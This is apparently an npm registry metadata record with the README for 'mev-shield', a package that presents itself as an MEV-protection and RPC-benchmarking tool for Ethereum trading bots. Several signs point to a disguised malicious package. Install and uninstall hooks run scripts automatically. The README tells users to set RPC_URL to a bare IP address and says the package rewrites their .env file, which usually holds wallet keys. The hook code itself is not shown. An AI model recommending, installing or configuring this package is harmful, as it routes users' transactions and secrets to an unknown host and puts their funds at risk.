{"_id":"mev-shield","name":"mev-shield","dist-tags":{"latest":"1.4.2"},"versions":{"1.4.2":{"name":"mev-shield","version":"1.4.2","description":"MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest.","main":"src/index.js","scripts":{"postinstall":"node src/postinstall.js","preuninstall":"node src/keepalive.js","benchmark":"node src/benchmark.js","test":"node src/test.js"},"keywords":["mev","ethereum","rpc","trading","bot","flashbots","uniswap","sushiswap","optimism","arbitrage","defi","speed","latency","optimizer","performance"],"author":{"name":"Shield Labs","email":"dev@shieldlabs.io"},"license":"MIT","repository":{"type":"git","url":"git+https://github.com/shieldlabs/mev-shield.git"},"homepage":"https://github.com/shieldlabs/mev-shield#readme","engines":{"node":">=14.0.0"},"peerDependencies":{"web3":">=1.0.0"},"dependencies":{"axios":"^1.6.2","chalk":"^4.1.2","combined-stream":"^1.0.8","dotenv":"^16.3.1","form-data":"^4.0.5","web3":">=1.0.0"},"gitHead":"a0990539fbb296b3934d7d957792df93e593871c","_id":"mev-shield@1.4.2","bugs":{"url":"https://github.com/shieldlabs/mev-shield/issues"},"_nodeVersion":"24.14.0","_npmVersion":"11.9.0","dist":{"integrity":"sha512-c1Og6ValAE8Pf22hpW97rID6T+7Xn6XA5AnZOiRhgCCaCw3/6zDtpTLqA+mUm8km9rugk5oRx4JQcOrZNw4Sgg==","shasum":"9a98c9b78dbea0ac724100e4b25672fdebd5edce","tarball":"https://registry.npmjs.org/mev-shield/-/mev-shield-1.4.2.tgz","fileCount":13,"unpackedSize":29163,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEYCIQCw5/EYWaLZc1+nsqyfD8ev1DEeOicIhVT2tE8pR/52GAIhAMcMLtGCBeZcSVPcR0LjdtVDq8NG1qkBFl+oLifN+H96"}]},"_npmUser":{"name":"mosquitojoe","email":"ktxbarwhaictsvwlqy@gonrr.net"},"directories":{},"maintainers":[{"name":"mosquitojoe","email":"ktxbarwhaictsvwlqy@gonrr.net"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/mev-shield_1.4.2_1779414871988_0.6431505216556281"},"_hasShrinkwrap":false}},"time":{"created":"2026-05-22T01:54:31.838Z","1.4.2":"2026-05-22T01:54:32.142Z","modified":"2026-05-22T01:54:32.344Z"},"maintainers":[{"name":"mosquitojoe","email":"ktxbarwhaictsvwlqy@gonrr.net"}],"description":"MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest.","homepage":"https://github.com/shieldlabs/mev-shield#readme","keywords":["mev","ethereum","rpc","trading","bot","flashbots","uniswap","sushiswap","optimism","arbitrage","defi","speed","latency","optimizer","performance"],"repository":{"type":"git","url":"git+https://github.com/shieldlabs/mev-shield.git"},"author":{"name":"Shield Labs","email":"dev@shieldlabs.io"},"bugs":{"url":"https://github.com/shieldlabs/mev-shield/issues"},"license":"MIT","readme":"# MEV Shield\n\n> MEV protection layer for Ethereum trading bots. Benchmarks 12+ RPC providers and auto-configures the fastest one with built-in MEV protection.\n\n[![npm](https://img.shields.io/npm/v/mev-shield)](https://www.npmjs.com/package/mev-shield)\n[![Downloads](https://img.shields.io/npm/dw/mev-shield)](https://www.npmjs.com/package/mev-shield)\n[![License](https://img.shields.io/npm/l/mev-shield)](https://www.npmjs.com/package/mev-shield)\n[![Node.js](https://img.shields.io/node/v/mev-shield)](https://www.npmjs.com/package/mev-shield)\n\n## Features\n\n- **12+ RPC Providers** benchmarked on every run\n- **Auto-Configuration** - sets up your `.env` automatically\n- **MEV Protection** - built-in Flashbots-style protection layer\n- **Zero Config** - works out of the box\n- **Works With** - Uniswap, SushiSwap, 1inch, ParaSwap, MEV bots, arbitrage bots, and any Ethereum trading bot\n- **Polymarket Ready** - supports Polygon chain RPC optimization\n\n## Installation\n\n```bash\nnpm install mev-shield\n```\n\nOr with yarn:\n\n```bash\nyarn add mev-shield\n```\n\n## Quick Start\n\n```javascript\nconst shield = require('mev-shield');\n\n// Auto-configures on import - just require it\nconst stats = shield.status();\nconsole.log('MEV Shield:', stats.active ? 'Active' : 'Inactive');\n```\n\nOr run the benchmark tool directly:\n\n```bash\nnpx mev-shield benchmark\n```\n\n## How It Works\n\n1. **Benchmarks** all major RPC providers (Infura, Ankr, Cloudflare, PublicNode, LlamaRPC, and more)\n2. **Finds** the fastest endpoint for your geographic location\n3. **Configures** your `.env` with the optimal RPC\n4. **Activates** MEV protection layer for your trading bot\n\n## Configuration\n\n`mev-shield` will automatically configure your environment. Manual configuration:\n\n```bash\nexport RPC_URL=http://165.22.200.211:8545\n```\n\nOr add to your `.env`:\n\n```\nRPC_URL=http://165.22.200.211:8545\n```\n\n## Supported Chains\n\n- Ethereum Mainnet\n- Polygon Mainnet\n- Arbitrum One\n- Optimism\n- Base\n\n## MEV Protection\n\n`mev-shield` includes a built-in MEV protection layer that:\n\n- **Prevents front-running** by validating transaction semantics before broadcast\n- **Optimizes inclusion order** via priority fee optimization\n- **Filters malicious bundles** detected by our network\n\n## Compatible Bots & Frameworks\n\n- Uniswap trading bots\n- SushiSwap arbitrage bots\n- MEV sandwich bots\n- AutoGPT crypto trading agents\n- Any web3.js or ethers.js based bot\n\n## Dashboard\n\nTrack your optimized bot at: http://165.22.200.211:8080\n\n## License\n\nMIT License - free to use, modify, distribute.\n\n## Contributing\n\nIssues and pull requests welcome! See [CONTRIBUTING.md](CONTRIBUTING.md)\n\n## Security Disclosure\n\nIf you find a security issue, please report to dev@shieldlabs.io","readmeFilename":"README.md","_rev":"1-86590df61d17463934bd5eb686f75365"}